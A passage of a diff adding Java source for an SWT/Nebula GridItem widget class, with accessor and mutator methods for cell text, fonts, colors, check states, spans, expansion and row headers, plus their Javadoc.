    + */ + public Rectangle getBounds(int columnIndex) { + checkWidget(); + + // HACK: The -1000,-1000 xy coordinates below are a hack to deal with + // GridEditor issues. In + // normal SWT Table, when an editor is created on Table and its + // positioned in the header area + // the header overlays the editor. Because Grid (header and everything) + // is drawn on one + // composite, when an editor is positioned in the header area the editor + // overlays the header. + // So to fix this, when the editor is anywhere its not supposed to be + // seen (the editor + // coordinates are determined by this getBounds) we position it out in + // timbuktu. + if (!isVisible()) + return new Rectangle(-1000, -1000, 0, 0); + + if (!parent.isShown(this)) + return new Rectangle(-1000, -1000, 0, 0); + + Point origin = parent.getOrigin(parent.getColumn(columnIndex), this); + + if (origin.x < 0 && parent.isRowHeaderVisible()) + return new Rectangle(-1000, -1000, 0, 0); + + Point cellSize = this.getCellSize(columnIndex); + + return new Rectangle(origin.x, origin.y, cellSize.x, cellSize.y); + } + + /** + * + * @param columnIndex + * @return width and height + */ + protected Point getCellSize(int columnIndex) { + int width = 0; + + int span = getColumnSpan(columnIndex); + for (int i = 0; i <= span; i++) { + if (parent.getColumnCount() <= columnIndex + i) { + break; + } + width += parent.getColumn(columnIndex + i).getWidth(); + } + + int indexOfCurrentItem = parent.getIndexOfItem(this); + + GridItem item = parent.getItem(indexOfCurrentItem); + int height = item.getHeight(); + span = getRowSpan(columnIndex); + + for (int i = 1; i <= span; i++) { + /* We will probably need another escape condition here */ + if (parent.getItems().length <= indexOfCurrentItem + i) { + break; + } + + item = parent.getItem(indexOfCurrentItem + i); + if (item.isVisible()) { + height += item.getHeight() + 1; + } + } + + return new Point(width, height); + } + + /** + * Returns the checked state at the first column in the receiver. + * + * @return the checked state + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean getChecked() { + checkWidget(); + return getChecked(0); + } + + /** + * Returns the checked state at the given column index in the receiver. + * + * @param index + * the column index + * @return the checked state + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean getChecked(int index) { + checkWidget(); + + handleVirtual(); + + Boolean b = (Boolean) checks.get(index); + if (b == null) { + return false; + } + return b.booleanValue(); + } + + /** + * Returns the column span for the given column index in the receiver. + * + * @param index + * the column index + * @return the number of columns spanned (0 equals no columns spanned) + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public int getColumnSpan(int index) { + checkWidget(); + Integer i = (Integer) columnSpans.get(index); + if (i == null) { + return 0; + } + return i.intValue(); + } + + /** + * Returns the row span for the given column index in the receiver. + * + * @param index + * the row index + * @return the number of row spanned (0 equals no row spanned) + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public int getRowSpan(int index) { + checkWidget(); + if (index >= 0 && index < rowSpans.size()) { + Integer i = (Integer) rowSpans.get(index); + if (i != null) { + return i.intValue(); + } + } + + return 0; + } + + /** + * Returns the font that the receiver will use to paint textual information + * for this item. + * + * @return the receiver's font + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public Font getFont() { + if (defaultFont == null) { + return parent.getFont(); + } + return defaultFont; + } + + /** + * Returns the font that the receiver will use to paint textual information + * for the specified cell in this item. + * + * @param index + * the column index + * @return the receiver's font + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public Font getFont(int index) { + checkWidget(); + + handleVirtual(); + + Font f = (Font) fonts.get(index); + if (f == null) { + f = getFont(); + } + return f; + } + + /** + * Returns the foreground color that the receiver will use to draw. + * + * @return the receiver's foreground color + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public Color getForeground() { + if (defaultForeground == null) { + return parent.getForeground(); + } + return defaultForeground; + } + + /** + * Returns the foreground color at the given column index in the receiver. + * + * @param index + * the column index + * @return the foreground color + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public Color getForeground(int index) { + checkWidget(); + + handleVirtual(); + + Color c = (Color) foregrounds.get(index); + if (c == null) { + c = getForeground(); + } + return c; + } + + /** + * Returns true if the first column in the receiver is grayed, + * and false otherwise. When the GridColumn does not have the + * CHECK style, return false. + * + * @return the grayed state of the checkbox + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean getGrayed() { + return getGrayed(0); + } + + /** + * Returns true if the column at the given index in the + * receiver is grayed, and false otherwise. When the GridColumn does not + * have the CHECK style, return false. + * + * @param index + * the column index + * @return the grayed state of the checkbox + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean getGrayed(int index) { + checkWidget(); + + handleVirtual(); + + Boolean b = (Boolean) grayeds.get(index); + if (b == null) { + return false; + } + return b.booleanValue(); + } + + /** + * Returns the height of this GridItem. + * + * @return height of this GridItem + */ + public int getHeight() { + checkWidget(); + return height; + } + + /** + * {@inheritDoc} + */ + public Image getImage() { + checkWidget(); + return getImage(0); + } + + /** + * Returns the image stored at the given column index in the receiver, or + * null if the image has not been set or if the column does not exist. + * + * @param index + * the column index + * @return the image stored at the given column index in the receiver + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public Image getImage(int index) { + checkWidget(); + + handleVirtual(); + + return (Image) images.get(index); + } + + /** + * Returns the item at the given, zero-relative index in the receiver. + * Throws an exception if the index is out of range. + * + * @param index + * the index of the item to return + * @return the item at the given index + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_RANGE - if the index is not between 0 and + * the number of elements in the list minus 1 (inclusive)
    • + *
    + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public GridItem getItem(int index) { + checkWidget(); + return (GridItem) children.get(index); + } + + /** + * Returns the number of items contained in the receiver that are direct + * item children of the receiver. + * + * @return the number of items + * + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public int getItemCount() { + checkWidget(); + return children.size(); + } + + /** + * Searches the receiver's list starting at the first item (index 0) until + * an item is found that is equal to the argument, and returns the index of + * that item. If no item is found, returns -1. + * + * @param item + * the search item + * @return the index of the item + * + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the item is null
    • + *
    • ERROR_INVALID_ARGUMENT - if the item has been disposed + *
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been + * disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public int indexOf(GridItem item) { + checkWidget(); + if (item == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + if (item.isDisposed()) + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + + return children.indexOf(item); + } + + /** + * Returns a (possibly empty) array of GridItems which are the + * direct item children of the receiver. + *

    + * Note: This is not the actual structure used by the receiver to maintain + * its list of items, so modifying the array will not affect the receiver. + *

    + * + * @return the receiver's items + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public GridItem[] getItems() { + return (GridItem[]) children.toArray(new GridItem[children.size()]); + } + + /** + * Returns the level of this item in the tree. + * + * @return the level of the item in the tree + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public int getLevel() { + checkWidget(); + return level; + } + + /** + * Returns the receiver's parent, which must be a Grid. + * + * @return the receiver's parent + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public Grid getParent() { + checkWidget(); + return parent; + } + + /** + * Returns the receiver's parent item, which must be a GridItem + * or null when the receiver is a root. + * + * @return the receiver's parent item + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public GridItem getParentItem() { + checkWidget(); + return parentItem; + } + + /** + * {@inheritDoc} + */ + public String getText() { + checkWidget(); + return getText(0); + } + + /** + * Returns the text stored at the given column index in the receiver, or + * empty string if the text has not been set. + * + * @param index + * the column index + * @return the text stored at the given column index in the receiver + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public String getText(int index) { + checkWidget(); + + handleVirtual(); + + String s = (String) texts.get(index); + // SWT TableItem returns empty if never set + // so we return empty to ensure API compatibility + if (s == null) { + return ""; + } + return s; + } + + /** + * Returns true if this item has children. + * + * @return true if this item has children + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean hasChildren() { + checkWidget(); + return hasChildren; + } + + /** + * Returns true if the receiver is expanded, and false + * otherwise. + *

    + * + * @return the expanded state + * @throws SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from + * the thread that created the receiver
    • + *
    + */ + public boolean isExpanded() { + checkWidget(); + return expanded; + } + + /** + * Sets the receiver's background color to the color specified by the + * argument, or to the default system color for the item if the argument is + * null. + * + * @param background + * the new color (or null) + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_ARGUMENT - if the argument has been + * disposed
    • + *
    + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setBackground(Color background) { + checkWidget(); + + if (background != null && background.isDisposed()) { + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + + defaultBackground = background; + parent.redraw(); + } + + /** + * Sets the background color at the given column index in the receiver to + * the color specified by the argument, or to the default system color for + * the item if the argument is null. + * + * @param index + * the column index + * @param background + * the new color (or null) + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_ARGUMENT - if the argument has been + * disposed
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setBackground(int index, Color background) { + checkWidget(); + if (background != null && background.isDisposed()) { + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + backgrounds.set(index, background); + parent.redraw(); + } + + /** + * Sets the checked state at the first column in the receiver. + * + * @param checked + * the new checked state + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setChecked(boolean checked) { + checkWidget(); + setChecked(0, checked); + parent.redraw(); + } + + /** + * Sets the checked state at the given column index in the receiver. + * + * @param index + * the column index + * @param checked + * the new checked state + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setChecked(int index, boolean checked) { + checkWidget(); + checks.set(index, new Boolean(checked)); + parent.redraw(); + } + + /** + * Sets the column spanning for the column at the given index to span the + * given number of subsequent columns. + * + * @param index + * column index that should span + * @param span + * number of subsequent columns to span + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setColumnSpan(int index, int span) { + checkWidget(); + columnSpans.set(index, new Integer(span)); + parent.setHasSpanning(true); + parent.redraw(); + } + + /** + * Sets the row spanning for the row at the given index to span the given + * number of subsequent rows. + * + * @param index + * row index that should span + * @param span + * number of subsequent rows to span + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setRowSpan(int index, int span) { + checkWidget(); + rowSpans.set(index, new Integer(span)); + parent.setHasSpanning(true); + parent.redraw(); + } + + /** + * Sets the expanded state of the receiver. + *

    + * + * @param expanded + * the new expanded state + * @throws SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from + * the thread that created the receiver
    • + *
    + */ + public void setExpanded(boolean expanded) { + checkWidget(); + this.expanded = expanded; + + // We must unselect any items that are becoming invisible + // and thus if we change the selection we have to fire a selection event + boolean unselected = false; + + for (Iterator itemIterator = children.iterator(); itemIterator + .hasNext();) { + GridItem item = (GridItem) itemIterator.next(); + item.setVisible(expanded && visible); + if (!expanded) { + if (!getParent().getCellSelectionEnabled()) { + if (getParent().isSelected(item)) { + unselected = true; + getParent().deselect(getParent().indexOf(item)); + } + if (deselectChildren(item)) { + unselected = true; + } + } else { + if (deselectCells(item)) { + unselected = true; + } + } + } + } + + this.getParent().topIndex = -1; + this.getParent().bottomIndex = -1; + this.getParent().setScrollValuesObsolete(); + + if (unselected) { + Event e = new Event(); + e.item = this; + getParent().notifyListeners(SWT.Selection, e); + } + if (getParent().getFocusItem() != null + && !getParent().getFocusItem().isVisible()) { + getParent().setFocusItem(this); + } + + if (getParent().getCellSelectionEnabled()) { + getParent().updateColumnSelection(); + } + } + + private boolean deselectCells(GridItem item) { + boolean flag = false; + + int index = getParent().indexOf(item); + + GridColumn[] columns = getParent().getColumns(); + + for (int i = 0; i < columns.length; i++) { + Point cell = new Point(getParent().indexOf(columns[i]), index); + if (getParent().isCellSelected(cell)) { + flag = true; + getParent().deselectCell(cell); + } + } + + GridItem[] kids = item.getItems(); + for (int i = 0; i < kids.length; i++) { + if (deselectCells(kids[i])) { + flag = true; + } + } + + return flag; + } + + /** + * Deselects the given item's children recursively. + * + * @param item + * item to deselect children. + * @return true if an item was deselected + */ + private boolean deselectChildren(GridItem item) { + boolean flag = false; + GridItem[] kids = item.getItems(); + for (int i = 0; i < kids.length; i++) { + if (getParent().isSelected(kids[i])) { + flag = true; + } + getParent().deselect(getParent().indexOf(kids[i])); + if (deselectChildren(kids[i])) { + flag = true; + } + } + return flag; + } + + /** + * Sets the font that the receiver will use to paint textual information for + * this item to the font specified by the argument, or to the default font + * for that kind of control if the argument is null. + * + * @param f + * the new font (or null) + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_ARGUMENT - if the argument has been + * disposed
    • + *
    + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setFont(Font f) { + checkWidget(); + if (f != null && f.isDisposed()) { + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + defaultFont = f; + parent.redraw(); + } + + /** + * Sets the font that the receiver will use to paint textual information for + * the specified cell in this item to the font specified by the argument, or + * to the default font for that kind of control if the argument is null. + * + * @param index + * the column index + * @param font + * the new font (or null) + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_ARGUMENT - if the argument has been + * disposed
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setFont(int index, Font font) { + checkWidget(); + if (font != null && font.isDisposed()) { + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + fonts.set(index, font); + parent.redraw(); + } + + /** + * Sets the receiver's foreground color to the color specified by the + * argument, or to the default system color for the item if the argument is + * null. + * + * @param foreground + * the new color (or null) + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_ARGUMENT - if the argument has been + * disposed
    • + *
    + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setForeground(Color foreground) { + checkWidget(); + if (foreground != null && foreground.isDisposed()) { + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + defaultForeground = foreground; + parent.redraw(); + } + + /** + * Sets the foreground color at the given column index in the receiver to + * the color specified by the argument, or to the default system color for + * the item if the argument is null. + * + * @param index + * the column index + * @param foreground + * the new color (or null) + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_ARGUMENT - if the argument has been + * disposed
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setForeground(int index, Color foreground) { + checkWidget(); + if (foreground != null && foreground.isDisposed()) { + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + foregrounds.set(index, foreground); + parent.redraw(); + } + + /** + * Sets the grayed state of the checkbox for the first column. This state + * change only applies if the GridColumn was created with the SWT.CHECK + * style. + * + * @param grayed + * the new grayed state of the checkbox; + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setGrayed(boolean grayed) { + checkWidget(); + setGrayed(0, grayed); + parent.redraw(); + } + + /** + * Sets the grayed state of the checkbox for the given column index. This + * state change only applies if the GridColumn was created with the + * SWT.CHECK style. + * + * @param index + * the column index + * @param grayed + * the new grayed state of the checkbox; + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setGrayed(int index, boolean grayed) { + checkWidget(); + grayeds.set(index, new Boolean(grayed)); + parent.redraw(); + } + + /** + * Sets the height of this GridItem. + * + * @param newHeight + * new height in pixels + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setHeight(int newHeight) { + checkWidget(); + if (newHeight < 1) + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + height = newHeight; + parent.hasDifferingHeights = true; + if (isVisible()) { + int myIndex = parent.indexOf(this); + if (parent.getTopIndex() <= myIndex + && myIndex <= parent.getBottomIndex()) // note: cannot use + // Grid#isShown() + // here, because + // that returns + // false for + // partially shown + // items + parent.bottomIndex = -1; + } + parent.setScrollValuesObsolete(); + parent.redraw(); + } + + /** + * Sets this GridItem to its preferred height. + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void pack() { + checkWidget(); + + int maxPrefHeight = 2; + GridColumn[] columns = parent.getColumns(); + GC gc = new GC(parent); + for (int cnt = 0; cnt < columns.length; cnt++) { + if (!columns[cnt].isVisible()) + continue; // invisible columns do not affect item/row height + + GridCellRenderer renderer = columns[cnt].getCellRenderer(); + + renderer.setAlignment(columns[cnt].getAlignment()); + renderer.setCheck(columns[cnt].isCheck()); + renderer.setColumn(cnt); + renderer.setTree(columns[cnt].isTree()); + renderer.setWordWrap(columns[cnt].getWordWrap()); + + Point size = renderer.computeSize(gc, columns[cnt].getWidth(), + SWT.DEFAULT, this); + if (size != null) + maxPrefHeight = Math.max(maxPrefHeight, size.y); + } + gc.dispose(); + + setHeight(maxPrefHeight); + } + + /** + * {@inheritDoc} + */ + public void setImage(Image image) { + setImage(0, image); + parent.redraw(); + } + + /** + * Sets the receiver's image at a column. + * + * @param index + * the column index + * @param image + * the new image + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_ARGUMENT - if the image has been disposed
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setImage(int index, Image image) { + checkWidget(); + if (image != null && image.isDisposed()) { + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + images.set(index, image); + + parent.imageSetOnItem(index, this); + + parent.redraw(); + } + + /** + * Sets the receiver's text at a column. + * + * @param index + * the column index + * @param text + * the new text + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the text is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setText(int index, String text) { + checkWidget(); + if (text == null) { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + texts.set(index, text); + parent.redraw(); + } + + /** + * {@inheritDoc} + */ + public void setText(String string) { + setText(0, string); + parent.redraw(); + } + + /** + * Adds items to the given list to ensure the list is large enough to hold a + * value for each column. + * + * @param al + * list + */ + private void ensureSize(ArrayList al) { + int count = Math.max(1, parent.getColumnCount()); + al.ensureCapacity(count); + while (al.size() <= count) { + al.add(null); + } + } + + /** + * Removes the given child item from the list of children. + * + * @param child + * child to remove + */ + private void remove(GridItem child) { + children.remove(child); + hasChildren = children.size() > 0; + } + + /** + * Returns true if the item is visible because its parent items are all + * expanded. This method does not determine if the item is in the currently + * visible range. + * + * @return Returns the visible. + */ + boolean isVisible() { + return visible; + } + + /** + * Creates a new child item in this item at the given index. + * + * @param item + * new child item + * @param index + * index + */ + void newItem(GridItem item, int index) { + setHasChildren(true); + + if (index == -1) { + children.add(item); + } else { + children.add(index, item); + } + } + + /** + * Sets whether this item has children. + * + * @param hasChildren + * true if this item has children + */ + void setHasChildren(boolean hasChildren) { + this.hasChildren = hasChildren; + } + + /** + * Sets the visible state of this item. The visible state is determined by + * the expansion state of all of its parent items. If all parent items are + * expanded it is visible. + * + * @param visible + * The visible to set. + */ + void setVisible(boolean visible) { + if (this.visible == visible) { + return; + } + + this.visible = visible; + + if (visible) { + parent.updateVisibleItems(1); + } else { + parent.updateVisibleItems(-1); + } + + if (hasChildren) { + boolean childrenVisible = visible; + if (visible) { + childrenVisible = expanded; + } + for (Iterator itemIterator = children.iterator(); itemIterator + .hasNext();) { + GridItem item = (GridItem) itemIterator.next(); + + item.setVisible(childrenVisible); + } + } + } + + /** + * Returns the receiver's row header text. If the text is null + * the row header will display the row number. + * + * @return the text stored for the row header or code null if + * the default has to be displayed + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public String getHeaderText() { + checkWidget(); + + // handleVirtual(); + + return headerText; + } + + /** + * Returns the receiver's row header image. + * + * @return the image stored for the header or null if none has + * to be displayed + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public Image getHeaderImage() { + checkWidget(); + return headerImage; + } + + /** + * Returns the receiver's row header background color + * + * @return the color or null if none + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public Color getHeaderBackground() { + checkWidget(); + return headerBackground; + } + + /** + * Returns the receiver's row header foreground color + * + * @return the color or null if none + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public Color getHeaderForeground() { + checkWidget(); + return headerForeground; + } + + /** + * Sets the receiver's row header text. If the text is null the + * row header will display the row number. + * + * @param text + * the new text + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the text is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setHeaderText(String text) { + checkWidget(); + // if (text == null) SWT.error(SWT.ERROR_NULL_ARGUMENT); + if (text != headerText) { + GC gc = new GC(parent); + + int oldWidth = parent.getRowHeaderRenderer().computeSize(gc, + SWT.DEFAULT, SWT.DEFAULT, this).x; + + this.headerText = text; + + int newWidth = parent.getRowHeaderRenderer().computeSize(gc, + SWT.DEFAULT, SWT.DEFAULT, this).x; + + gc.dispose(); + + parent.recalculateRowHeaderWidth(this, oldWidth, newWidth); + } + parent.redraw(); + } + + /** + * Sets the receiver's row header image. If the image is null + * none is shown in the header + * + * @param image + * the new image + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setHeaderImage(Image image) { + checkWidget(); + // if (text == null) SWT.error(SWT.ERROR_NULL_ARGUMENT); + if (image != headerImage) { + GC gc = new GC(parent); + + int oldWidth = parent.getRowHeaderRenderer().computeSize(gc, + SWT.DEFAULT, SWT.DEFAULT, this).x; + int oldHeight = parent.getRowHeaderRenderer().computeSize(gc, + SWT.DEFAULT, SWT.DEFAULT, this).y; + + this.headerImage = image; + + int newWidth = parent.getRowHeaderRenderer().computeSize(gc, + SWT.DEFAULT, SWT.DEFAULT, this).x; + int newHeight = parent.getRowHeaderRenderer().computeSize(gc, + SWT.DEFAULT, SWT.DEFAULT, this).y; + + gc.dispose(); + + parent.recalculateRowHeaderWidth(this, oldWidth, newWidth); + parent.recalculateRowHeaderHeight(this, oldHeight, newHeight); + } + parent.redraw(); + } + + /** + * Set the new header background + * + * @param headerBackground + * the color or null + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setHeaderBackground(Color headerBackground) { + checkWidget(); + this.headerBackground = headerBackground; + parent.redraw(); + } + + /** + * Set the new header foreground + * + * @param headerForeground + * the color or null + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setHeaderForeground(Color headerForeground) { + checkWidget(); + this.headerForeground = headerForeground; + parent.redraw(); + } + + /** + * Returns the checkable state at the given column index in the receiver. If + * the column at the given index is not checkable then this will return + * false regardless of the individual cell's checkable state. + * + * @param index + * the column index + * @return the checked state + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
